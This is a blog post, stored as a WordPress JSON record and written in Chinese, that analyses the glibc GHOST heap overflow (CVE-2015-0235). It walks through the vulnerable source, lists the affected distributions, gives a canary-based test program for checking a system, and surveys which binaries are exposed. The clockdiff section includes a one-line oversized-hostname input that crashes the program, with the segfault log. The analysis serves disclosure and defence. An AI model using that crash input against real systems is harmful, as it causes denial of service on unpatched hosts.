{"id":650,"date":"2015-01-29T04:27:08","date_gmt":"2015-01-29T04:27:08","guid":{"rendered":"http:\/\/www.selinuxplus.com\/?p=650"},"modified":"2015-01-29T04:35:34","modified_gmt":"2015-01-29T04:35:34","slug":"glibc-%e5%b9%bd%e7%81%b5%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"http:\/\/www.selinuxplus.com\/?p=650","title":{"rendered":"glibc \u5e7d\u7075\u6f0f\u6d1e \u5206\u6790 (CVE-2015-0235)"},"content":{"rendered":"<p>1 \u636eQualys\u516c\u53f8\u5ba1\u6838\u53d1\u73b0GUN C\u5e93\uff08glibc\uff09\u4e2d\u5b58\u5728\u4e00\u4e2a__nss_hostname_digits_dots\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u4fe1\u606f\u6765\u6e90<\/p>\n<pre class=\"lang:default decode:true\">http:\/\/www.openwall.com\/lists\/oss-security\/2015\/01\/27\/9\uff1b\r\nhttp:\/\/ma.ttias.be\/critical-glibc-update-cve-2015-0235-gethostbyname-calls\/\r\n\uff1a<\/pre>\n<h1><strong>==1== summary<\/strong><\/h1>\n<p>__nss_hostname_digits_dots\uff08\uff09\u5bfc\u81f4\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8fd9\u4e2abug\u53ef\u4ee5\u901a\u8fc7gethostbynames*\uff08\uff09\u51fd\u6570\u6765\u89e6\u53d1\u3002\u5728\u672c\u5730\u548c\u8fdc\u7a0b\u5747\u53ef\u4ee5\u89e6\u53d1bug\u3002<br \/>\n\u5206\u6790\u8fc7\u7a0b\u5982\u4e0b\uff1a<br \/>\n&#8212; \u901a\u8fc7gethostbyname\uff08\uff09or gethostbyname2\uff08\uff09\uff0c\u7f13\u51b2\u533a\u6ea2\u51fa\u5c06\u53d1\u751f\u5728\u5806\uff08heap\uff09\u4e0a\uff0c\u901a\u8fc7gethostbyname_r()or gethostbyname2_4()\u89e6\u53d1\u8c03\u7528\u8005\u63d0\u4f9b\uff08caller-supplied\uff09\u7684\u7f13\u51b2\u533a<br \/>\n\u6ea2\u51fa(\u8c03\u7528\u8005\u63d0\u4f9b\u7684\u7f13\u51b2\u533a\u53ef\u4ee5\u4f4d\u4e8eheap,stack,.data,.bss.etc,\u4f46\u5b9e\u9645\u64cd\u4f5c\u4e2d\u8fd8\u672a\u53d1\u73b0\u8fd9\u6837\u7684\u60c5\u51b5)<br \/>\n&#8212; \u6f0f\u6d1e\u4ea7\u751f\u65f6\u591a\u4e2asizeof(char *)bytes\u88ab\u91cd\u5199\uff08\u6ce8\u610f char*\u6307\u9488\u7684\u5927\u5c0f\uff0c4bytes on32-bit\u7cfb\u7edf\u4e0a\uff0c8 bytes on 64-bit\u7cfb\u7edf\u4e0a\uff09<br \/>\n\u3002\u5b57\u8282\u4f1a\u88ab\u91cd\u5199\u53ea\u6709\u5728\uff08&#8217;0&#8217;&#8230;&#8217;9&#8217;\uff09,(&#8216;.&#8217;),(&#8216;\\0&#8217;)<br \/>\n&#8211;\u5c3d\u7ba1\u6709\u8fd9\u4e9b\u9650\u5236\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u968f\u610f\u7684\u6267\u884c\u4ee3\u7801\u3002\u4f5c\u4e3a\u6982\u5ff5\u7684\u8bc1\u660e\uff0c\u6211\u4eec\u5f00\u53d1\u4e86\u9488\u5bf9Exima\u90ae\u4ef6\u670d\u52a1\u5668\u7684full-fledged\u8fdc\u7a0b\u6267\u884c\u811a\u672c\uff0c\u53d1\u73b0\u53ef\u4ee5\u65c1\u8def\u7ed5\u8fc7\u6240\u6709\u73b0\u6709\u7684\u4fdd\u62a4\uff08ASLR,PIE,NX)\uff0c<br \/>\n\u572832-bit or 64-bit\u673a\u5668\u4e0a\u3002<br \/>\n&#8212; \u7b2c\u4e00\u4e2a\u5bb9\u6613\u88ab\u653b\u51fb\u7684\u7248\u672c\u4e3aGNU C\u5e93\u7684glibc-2.2\u7248\u672c\u3002<br \/>\n&#8212; \u9488\u5bf9\u8fd9\u4e9bbug\u7684\u7814\u7a76\uff0c\u53d1\u73b0\u8be5\u6f0f\u6d1e\u57282013\/5\/21\u5c31\u5df2\u7ecf\u5728glib-2.17-glibc2.18\u7248\u672c\u4e4b\u95f4\u88ab\u4fee\u590d\uff0c\u4f46\u4e0d\u5e78\u7684\u662f\uff0c\u5f53\u65f6\u5e76\u6ca1\u6709\u88ab\u8ba4\u4e3a\u662f\u4e00\u4e2a\u5b89\u5168\u5a01\u80c1\u5b58\u5728\u3002\u53d7\u5f71\u54cd\u7248\u672c\u53ef\u80fd\u4e3a\uff1a<\/p>\n<pre class=\"lang:default decode:true\">RHEL (Red Hat Enterprise Linux) version 5.x, 6.x and 7.x\r\nCentOS Linux version 5.x, 6.x &amp;amp; 7.x\r\nUbuntu Linux version 10.04, 12.04 LTS\r\nDebian Linux version 7.x\r\nLinux Mint version 13.0\r\nFedora Linux version 19 or older\r\nSUSE Linux Enterprise 11 and older (also OpenSuse Linux 11 or older versions).\r\nArch Linux glibc version &amp;lt;= 2.18-1<\/pre>\n<h1><strong>==2== Analysis\uff1a<\/strong><\/h1>\n<p>\u5b58\u5728\u6f0f\u6d1e\u7684__nss_hostname_digits_dots()\u662f\u6709glibc\u7684\u4e0d\u53ef\u91cd\u5165\u7684nss\/getXXbyYY.c\u4ee5\u53ca\u53ef\u91cd\u5165\u7684nss\/getXXbyYY_r.c\u8c03\u7528\u3002\u800c\u8fd9\u4e2a\u8c03\u7528\u7531ifdef HANDLE_DIGITS_DOTS\u6765\u5b9a\u4e49\u7684\u3002\u8be5\u5b9a\u4e49\u5206<br \/>\n\u5e03\u5728\u4ee5\u4e0b\u51e0\u4e2a\u6587\u4ef6\u4e2d<\/p>\n<pre class=\"lang:default decode:true\">- inet\/gethstbynm.c\r\n- inet\/gethstbynm2.c\r\n- inet\/gethstbynm_r.c\r\n- inet\/gethstbynm2_r.c\r\n- nscd\/gethstbynm3_r.c<\/pre>\n<p>\u4ee5\u4e0a\u7684\u6587\u4ef6\u662f\u5b9e\u73b0gethostbyname*\uff08\uff09 family\u3002\u56e0\u6b64\u4e5f\u53ea\u6709\u4ed6\u4eec\u4f1a\u8c03\u7528reach __nss_hostname_digits_dots()\uff0c\u5e76\u89e6\u53d1\u7f13\u51b2\u533a\u6ea2\u51fa\u3002\u8be5\u51fd\u6570\u4f5c\u7528\u662f\u5982\u679c\u4e3b\u673a\u540d\u7684\u53c2\u6570\u662fIPv4 or IPv6\u7684\u5730\u5740\uff0c<br \/>\n\u5219\u4e0d\u9700\u8981\u6709DNS\u6765\u89e3\u6790<br \/>\nglibc-2.17\u7684code<\/p>\n<pre class=\"lang:default decode:true\">35 int\r\n36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,\r\n37 char **buffer, size_t *buffer_size,\r\n38 size_t buflen, struct hostent **result,\r\n39 enum nss_status *status, int af, int *h_errnop)\r\n40 {\r\n..\r\n57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')\r\n58 {\r\n59 const char *cp;\r\n60 char *hostname;\r\n61 typedef unsigned char host_addr_t[16];\r\n62 host_addr_t *host_addr;\r\n63 typedef char *host_addr_list_t[2];\r\n64 host_addr_list_t *h_addr_ptrs;\r\n65 char **h_alias_ptr;\r\n66 size_t size_needed;\r\n..\r\n85 size_needed = (sizeof (*host_addr)\r\n86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);\r\n87\r\n88 if (buffer_size == NULL)\r\n89 {\r\n90 if (buflen &amp;lt; size_needed)\r\n91 {\r\n..\r\n95 goto done;\r\n96 }\r\n97 }\r\n98 else if (buffer_size != NULL &amp;amp;&amp;amp; *buffer_size &amp;lt; size_needed)\r\n99 {\r\n100 char *new_buf;\r\n101 *buffer_size = size_needed;\r\n102 new_buf = (char *) realloc (*buffer, *buffer_size);\r\n103\r\n104 if (new_buf == NULL)\r\n105 {\r\n...\r\n114 goto done;\r\n115 }\r\n116 *buffer = new_buf;\r\n117 }\r\n...\r\n121 host_addr = (host_addr_t *) *buffer;\r\n122 h_addr_ptrs = (host_addr_list_t *)\r\n123 ((char *) host_addr + sizeof (*host_addr));\r\n124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));\r\n125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);\r\n126\r\n127 if (isdigit (name[0]))\r\n128 {\r\n129 for (cp = name;; ++cp)\r\n130 {\r\n131 if (*cp == '\\0')\r\n132 {\r\n133 int ok;\r\n134\r\n135 if (*--cp == '.')\r\n136 break;\r\n...\r\n142 if (af == AF_INET)\r\n143 ok = __inet_aton (name, (struct in_addr *) host_addr);\r\n144 else\r\n145 {\r\n146 assert (af == AF_INET6);\r\n147 ok = inet_pton (af, name, host_addr) &amp;gt; 0;\r\n148 }\r\n149 if (! ok)\r\n150 {\r\n...\r\n154 goto done;\r\n155 }\r\n156\r\n157 resbuf-&amp;gt;h_name = strcpy (hostname, name);\r\n...\r\n194 goto done;\r\n195 }\r\n196\r\n197 if (!isdigit (*cp) &amp;amp;&amp;amp; *cp != '.')\r\n198 break;\r\n199 }\r\n200 }\r\n...<\/pre>\n<p>86-87\u884c\u6240\u8ba1\u7b97\u7684\u7f13\u51b2\u533a\u5927\u5c0fsize_needed\uff0c\u9700\u8981\u5b58\u50a83\u4e2a\u4e0d\u540c\u7684\u5b9e\u4f53\uff1ahost_addr,h_addr_pts,name(hostname)<br \/>\n88-117\u884c\u786e\u5b9a\u7f13\u51b2\u533a\u8db3\u591f\u5927<br \/>\n88-97\u884c\u5bf9\u5e94\u51fd\u6570\u7684\u91cd\u5165case<br \/>\n98-117\u4e3a\u975e\u91cd\u5165case<\/p>\n<p>121-125\u51c6\u5907\u7f13\u51b2\u533a\u6307\u9488\u6765\u5b58\u653e4\u4e2a\u4e0d\u540c\u5b9e\u4f53\uff1ahost_addr,h_addr_ptrs,h_alias_ptr,hostname\u3002 \uff08*h_alias_ptr\uff09\u7684\u5b57\u7b26\u6307\u9488\u7684\u5927\u5c0f\u88absize_need\u6240\u6f0f\u6389\u3002<\/p>\n<p>157\u884c\u7684strcpy\u51fd\u6570\uff0c\u662f\u8ba9\u6211\u4eec\u5199\u8fc7\u7f13\u51b2\u533a\u7684\u672b\u5c3e\uff0c\u6700\u591a\uff08\u4f9d\u8d56strlen\uff08name\uff09\u548c\u5b57\u7b26\u5bf9\u5176\uff094 bytes on32-bit\uff0cor 8 bytes on 64-bit\u3002<br \/>\n\u6709\u4e2a\u76f8\u4f3c\u7684strcpy\u7684\u51fd\u6570\uff0c\u4f46\u6ca1\u6709\u7f13\u51b2\u533a\u6ea2\u51fa<\/p>\n<pre class=\"lang:default decode:true\">236 size_needed = (sizeof (*host_addr)\r\n237 + sizeof (*h_addr_ptrs) + strlen (name) + 1);\r\n...\r\n267 host_addr = (host_addr_t *) *buffer;\r\n268 h_addr_ptrs = (host_addr_list_t *)\r\n269 ((char *) host_addr + sizeof (*host_addr));\r\n270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);\r\n...\r\n289 resbuf-&amp;gt;h_name = strcpy (hostname, name);<\/pre>\n<p>\u4e3a\u4e86\u8fbe\u5230157\u884c\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\uff0c\u4e3b\u673a\u540d\u53c2\u6570\u5fc5\u987b\u7b26\u5408\u4ee5\u4e0b\u6761\u4ef6\uff1a<br \/>\n&#8211; line 127\u884c\u7684 \u7b2c\u4e00\u4e2a\u5b57\u7b26\u662f\u6570\u5b57<br \/>\n&#8211; line 135\u884c\u7684 \u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u4e0d\u80fd\u662f&#8217;.&#8217;<br \/>\n&#8211; line 197\u884c\u7684 \u8981\u53ea\u80fd\u5305\u542b\u6570\u5b57\u548c&#8217;.&#8217;<br \/>\n&#8211; \u5fc5\u987b\u53ef\u4ee5\u5206\u914d\u6700\u591f\u5927\u7684\u7f13\u51b2\u533a\uff0c\u5982\u975e\u91cd\u5165\u7684gethostbyname* \uff08\uff09\u521d\u59cb\u5316\u5206\u914dmalloc\uff081024\uff09\u7684\u5927\u5c0f<br \/>\n&#8211; line 143\u884c\uff0cIPv4\u7684\u5730\u5740\u88abinet_aton\u51fd\u6570\u6b63\u786e\u89e3\u6790\uff0cor line 147 ipv6 \u88abinet_pton()<br \/>\ninet_pton\u4e2d\u7684&#8221;:&#8221;\u662f\u88ab\u7981\u6b62\u7684\uff0c\u4e5f\u4e0d\u80fd\u5e26\u6709\u6570\u5b57\u548c\u70b9\u7684\u5730\u5740\u89e3\u6790\u6210ipv6\u5730\u5740\uff0c\u6240\u4ee5inet_aton\u662f\u552f\u4e00\u7684\u9009\u62e9\uff0c\u4e14\u4e3b\u673a\u540d\u5fc5\u987b\u662f\u4e0b\u5217\u5f62\u5f0f\u4e4b\u4e00:&#8221;a.b.c.d&#8221;,&#8221;a.b.c&#8221;,&#8221;a.b&#8221;or &#8220;a&#8221;\u3002a,b,c,d\u662f<br \/>\n\u65e0\u7b26\u53f7\u8bc1\u4e66\uff0c\u6700\u5927\u662f0xffffffful\u3002\u5e76\u53ef\u4ee5\u6709strtoul\u8f6c\u6210\u5341\u8fdb\u5236\u7684\u3002<\/p>\n<h1><strong>==3== Mitigating factors<\/strong><\/h1>\n<p>\u8be5\u5f71\u54cd\u73b0\u5728\u663e\u8457\u51cf\u5c11\u4e86\uff0c<br \/>\n1 \u57282013\/5\/21\u53d1\u8868\u7684\u8865\u4e01\u663e\u793a\uff1a<br \/>\n[BZ #15014]<br \/>\n* nss\/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))<br \/>\n[HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was<br \/>\nsuccessful.<br \/>\n* nss\/digits_dots.c (__nss_hostname_digits_dots): Remove<br \/>\nredundant variable declarations and reallocation of buffer when<br \/>\nparsing as IPv6 address. Always set NSS status when called from<br \/>\nreentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when<br \/>\nbuffer too small. Correct computation of needed size.\u5f53\u7f13\u51b2\u533a\u592a\u5c0f\u65f6\u4f7f\u7528NETDB_INTERNAL\u800c\u4e0d\u662fTRY_AGAIN<br \/>\n* nss\/Makefile (tests): Add test-digits-dots.<br \/>\n* nss\/test-digits-dots.c: New test.<br \/>\n2.gethostbyname*()\u51fd\u6570\u88abgetaddrinfo() \u4ee3\u66ff\uff0c\u56e0\u4e3aIPv6\u7684\u5230\u6765<br \/>\n3.\u8bb8\u591a\u7a0b\u5e8f\uff0c\u7279\u522b\u662fsuid\u6587\u4ef6\u53ef\u4ee5\u8bbf\u95ee\u672c\u5730\u65f6\uff0c\u4ec5\u5f53\u4f7f\u7528inet_aton\uff08\uff09\u8c03\u7528\u5931\u8d25\u65f6\u8c03\u7528gethostbyname\uff08\uff09<br \/>\n4 \u5927\u591a\u6570\u5176\u4ed6\u7a0b\u5e8f\uff0c\u5c24\u5176\u662f\u53ef\u8fdc\u7a0b\uff08ssh\uff09\u8bbf\u95ee\u670d\u52a1\u5668\u65f6\uff0c\u4f1a\u4f7f\u7528gethostbyname\u6765\u9006\u5411\u67e5\u627eDNS\u3002\u8fd9\u4e2a\u7a0b\u5e8f\u901a\u5e38\u662f\u5b89\u5168\u7684\uff0c\u56e0\u4e3a\u4f20\u9012\u5230gethostbyname\u7684\u4e3b\u673a\u540d\u901a\u5e38\u88abDNS\u8f6f\u4ef6\u9884\u5148\u68c0\u6d4b\u4e86\u3002<br \/>\n\u6bcf\u4e2alable\u6700\u591a\u53ea\u670963\u4e2a8-bit octets\uff0c\u7531\u70b9\u5206\u9694\uff0c\u6700\u591a\u653b\u51fb\u6709255\u4e2aoctets\uff0c\uff0c\u8fd9\u4f7f\u5f97\u5176\u957f\u5ea6\u4e0d\u80fd\u6ee1\u8db31kB\u8981\u6c42<br \/>\n\u5b9e\u9645\u4e0a\uff0cglibc\u7684DNS\u89e3\u6790\u5668\u53ef\u4ee5\u4ea7\u751f\u9ad8\u8fbe\uff08\u6700\u591a\uff091025\u5b57\u7b26\u7684\u4e3b\u673a\u540d\uff08\u5982bit-string lable\uff0c\u7279\u6b8a\u548c\u975e\u6253\u5370\u5b57\u7b26\uff09\u4f46\u8fd9\u4e9b\u4f1a\u4e00\u5982&#8221;\\\\&#8221;\uff0c\u8fd9\u6837\u5c31\u9020\u6210\u4e0d\u80fd\u6ee1\u8db3&#8221;\u53ea\u6709\u6570\u5b57\u548c\u70b9&#8221;\u7684\u8981\u6c42<\/p>\n<h1><strong>==4== Case studies<\/strong><\/h1>\n<p>&nbsp;<\/p>\n<pre class=\"lang:default decode:true\">cat &gt; GHOST.c &lt;&lt; EOF\r\n#include &lt;netdb.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;errno.h&gt;\r\n\r\n#define CANARY \"in_the_coal_mine\"\r\n\r\nstruct {\r\nchar buffer[1024];\r\nchar canary[sizeof(CANARY)];\r\n} temp = { \"buffer\", CANARY };\r\n\r\nint main(void) {\r\nstruct hostent resbuf;\r\nstruct hostent *result;\r\nint herrno;\r\nint retval;\r\n\r\n\/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***\/\r\nsize_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;\r\nchar name[sizeof(temp.buffer)];\r\nmemset(name, '0', len);\r\nname[len] = '\\0';\r\n\r\nretval = gethostbyname_r(name, &amp;amp;resbuf, temp.buffer, sizeof(temp.buffer), &amp;amp;result, &amp;amp;herrno);\r\n\r\nif (strcmp(temp.canary, CANARY) != 0) {\r\nputs(\"vulnerable\");\r\nexit(EXIT_SUCCESS);\r\n}\r\nif (retval == ERANGE) {\r\nputs(\"not vulnerable\");\r\nexit(EXIT_SUCCESS);\r\n}\r\nputs(\"should not happen\");\r\nexit(EXIT_FAILURE);\r\n}\r\nEOF<\/pre>\n<p>\u6d4b\u8bd5\uff1a<\/p>\n<pre class=\"lang:default decode:true\">[root@localhost ~]# .\/CVE-2015-0235\r\nvulnerable\r\n[root@localhost ~]# ldd --version\r\nldd (GNU libc) 2.17\r\nCopyright (C) 2012 Free Software Foundation, Inc.\r\nThis is free software; see the source for copying conditions. There is NO\r\nwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\n\u7531 Roland McGrath \u548c Ulrich Drepper \u7f16\u5199\u3002<\/pre>\n<h1><strong>==5== glibc\u4f7f\u7528\u65f6\u7684\u6848\u4f8b<\/strong><\/h1>\n<p>1 glibc-2.13\/sysdeps\/posix\/getaddrinfo.c:<br \/>\n\u8c03\u7528\u662f\u5b89\u5168\u7684\uff0c\u5b89\u7167\u201dinet-aton\u201d\u8981\u6c42\uff0c\u662f\u5b89\u5168\u7684\u3002\u4ec5\u5f53\u7b2c\u4e00\u6b21\u8c03\u7528inet_aton()\u5931\u8d25\u65f6\uff0cgetaddrinfo()\u4f1a\u8c03\u7528gethostbyname2_r()<\/p>\n<pre class=\"lang:default decode:true\">at-&amp;gt;family = AF_UNSPEC;\r\n...\r\nif (__inet_aton (name, (struct in_addr *) at-&amp;gt;addr) != 0)\r\n{\r\nif (req-&amp;gt;ai_family == AF_UNSPEC || req-&amp;gt;ai_family == AF_INET)\r\nat-&amp;gt;family = AF_INET;\r\nelse if (req-&amp;gt;ai_family == AF_INET6 &amp;amp;&amp;amp; (req-&amp;gt;ai_flags &amp;amp; AI_V4MAPPED))\r\n{\r\n...\r\nat-&amp;gt;family = AF_INET6;\r\n}\r\nelse\r\nreturn -EAI_ADDRFAMILY;\r\n...\r\n}\r\n...\r\nif (at-&amp;gt;family == AF_UNSPEC &amp;amp;&amp;amp; (req-&amp;gt;ai_flags &amp;amp; AI_NUMERICHOST) == 0)\r\n{\r\n...\r\nsize_t tmpbuflen = 512;\r\nchar *tmpbuf = alloca (tmpbuflen);\r\n...\r\nrc = __gethostbyname2_r (name, family, &amp;amp;th, tmpbuf,\r\ntmpbuflen, &amp;amp;h, &amp;amp;herrno);\r\n...\r\n}<\/pre>\n<p>2 mount.nfs<br \/>\n\u8c03\u7528\u662f\u5b89\u5168\u7684\uff0c\u5b89\u7167\u201dinet-aton\u201d\u8981\u6c42\uff0c\u662f\u5b89\u5168\u7684\u3002\u4ec5\u5f53\u7b2c\u4e00\u6b21\u8c03\u7528inet_aton()\u5931\u8d25\u65f6\uff0cgetaddrinfo()\u4f1a\u8c03\u7528gethostbyname2_r()<\/p>\n<pre class=\"lang:default decode:true\">if (inet_aton(hostname, &amp;amp;addr-&amp;gt;sin_addr))\r\nreturn 0;\r\nif ((hp = gethostbyname(hostname)) == NULL) {\r\nnfs_error(_(\"%s: can't get address for %s\\n\"),\r\nprogname, hostname);\r\nreturn -1;\r\n}<\/pre>\n<p>3 mtr<br \/>\n\u8c03\u7528\u662f\u5b89\u5168\u7684\uff0c\u8c03\u7528\u4e86getaddrinfo<\/p>\n<pre class=\"lang:default decode:true\">mtr (another SUID-root binary) is not vulnerable either, because it\r\ncalls getaddrinfo() instead of gethostbyname*() functions on any modern\r\n(ie, IPv6-enabled) system:\r\n\r\n#ifdef ENABLE_IPV6\r\n\/* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. *\/\r\n...\r\nerror = getaddrinfo( Hostname, NULL, &amp;amp;hints, &amp;amp;res );\r\nif ( error ) {\r\nif (error == EAI_SYSTEM)\r\nperror (\"Failed to resolve host\");\r\nelse\r\nfprintf (stderr, \"Failed to resolve host: %s\\n\", gai_strerror(error));\r\nexit( EXIT_FAILURE );\r\n}\r\n...\r\n#else\r\nhost = gethostbyname(Hostname);\r\nif (host == NULL) {\r\nherror(\"mtr gethostbyname\");\r\nexit(1);\r\n}\r\n...\r\n#endif<\/pre>\n<p>4 iputils-clockdiff<br \/>\n\u662f\u6709\u5f31\u70b9\u7684<\/p>\n<pre class=\"lang:default decode:true\">hp = gethostbyname(argv[1]);\r\nif (hp == NULL) {\r\nfprintf(stderr, \"clockdiff: %s: host not found\\n\", argv[1]);\r\nexit(1);\r\n}<\/pre>\n<pre class=\"lang:default decode:true\">[root@localhost ~]# \/usr\/sbin\/clockdiff `python -c \"print '0' * $((0x10000-16*1-2*4-1-4))\"`\r\n\u6bb5\u9519\u8bef(\u5410\u6838)\r\n[root@localhost ~]# \/usr\/sbin\/clockdiff `python -c \"print '0' * $((0x20000-16*1-2*4-1-4))\"`\r\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\r\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rtt=750\r\n(187)ms\/0ms delta=0ms\/0ms Thu Jan 29 11:27:31 2015\r\n[768663.493694] clockdiff[3469]: segfault at 7f197d2b73c8 ip 00007f197bc85c3f sp 00007fffaec04150 error 6 in libc-2.17.so[7f197bc07000+1b6000]\r\n[768688.402063] clockdiff[3477]: segfault at 7f74c4da73c8 ip 00007f74c3950c3f sp 00007ffff97cd000 error 6 in libc-2.17.so[7f74c38d2000+1b6000]\r\n[768663.493694] clockdiff[3469]: segfault at 7f197d2b73c8 ip 00007f197bc85c3f sp 00007fffaec04150 error 6 in libc-2.17.so[7f197bc07000+1b6000]\r\n[768688.402063] clockdiff[3477]: segfault at 7f74c4da73c8 ip 00007f74c3950c3f sp 00007ffff97cd000 error 6 in libc-2.17.so[7f74c38d2000+1b6000]<\/pre>\n<p>5 ping arping<br \/>\nping \u3001arping \u5728inet_aton()\u5931\u8d25\u65f6\u8c03\u7528 gethostbyname() \u548c gethostbyname2()\u3002<\/p>\n<pre class=\"lang:default decode:true\">if (inet_aton(target, &amp;amp;whereto.sin_addr) == 1) {\r\n...\r\n} else {\r\nchar *idn;\r\n#ifdef USE_IDN\r\nint rc;\r\n...\r\nrc = idna_to_ascii_lz(target, &amp;amp;idn, 0);\r\nif (rc != IDNA_SUCCESS) {\r\nfprintf(stderr, \"ping: IDN encoding failed: %s\\n\", idna_strerror(rc));\r\nexit(2);\r\n}\r\n#else\r\nidn = target;\r\n#endif\r\nhp = gethostbyname(idn);\r\n\r\narping\r\n\r\nif (inet_aton(target, &amp;amp;dst) != 1) {\r\nstruct hostent *hp;\r\nchar *idn = target;\r\n#ifdef USE_IDN\r\nint rc;\r\n\r\nrc = idna_to_ascii_lz(target, &amp;amp;idn, 0);\r\n\r\nif (rc != IDNA_SUCCESS) {\r\nfprintf(stderr, \"arping: IDN encoding failed: %s\\n\", idna_strerror(rc));\r\nexit(2);\r\n}\r\n#endif\r\n\r\nhp = gethostbyname2(idn, AF_INET);<\/pre>\n<h1><strong>== 6 == \u7cfb\u7edf\u4e2d\u90a3\u4e9b\u670d\u52a1\u548c\u5e94\u7528\u6d89\u53ca\u5230glibc<\/strong><\/h1>\n<p>\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u67e5\u8be2<\/p>\n<pre class=\"lang:default decode:true\">[root@localhost ~]# lsof |grep libc |awk '{print $1}' |sort |uniq\r\nabrtd\r\nabrt-watc\r\natd\r\nauditd\r\navahi-dae\r\nawk\r\nbash *****************\r\nchronyd\r\ncrond\r\ndbus-daem\r\ndnsmasq *****************\r\nfirewalld\r\ngdbus\r\ngmain\r\ngrep\r\nin:imjour\r\niprdump\r\niprinit\r\niprupdate\r\nirqbalanc\r\nJS\r\nksmtuned\r\nlibvirtd\r\nlogin\r\nlsmd\r\nlsof\r\nlvmetad\r\nmaster\r\nnamed *****************\r\nNetworkMa\r\npolkitd\r\npython\r\nqmgr\r\nrpcbind\r\nrpc.statd\r\nrs:main\r\nrsyslogd\r\nrunaway-k\r\nsleep\r\nsmartd\r\nsort\r\nssh\r\nsshd *****************\r\nsystemd\r\nsystemd-j\r\nsystemd-l\r\nsystemd-u\r\ntuned\r\nuniq\r\nwpa_suppl<\/pre>\n<p>\u4ee5\u4e0a\u663e\u793abash dnsmasq named sshd \u53ef\u80fd\u6d89\u53ca\u5230gethostbyname\u5f71\u54cd<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1 \u636eQualys\u516c\u53f8\u5ba1\u6838\u53d1\u73b0GUN C\u5e93\uff08gli&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,103],"tags":[150,13],"_links":{"self":[{"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/posts\/650"}],"collection":[{"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=650"}],"version-history":[{"count":4,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/posts\/650\/revisions"}],"predecessor-version":[{"id":654,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=\/wp\/v2\/posts\/650\/revisions\/654"}],"wp:attachment":[{"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=650"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=650"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.selinuxplus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=650"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}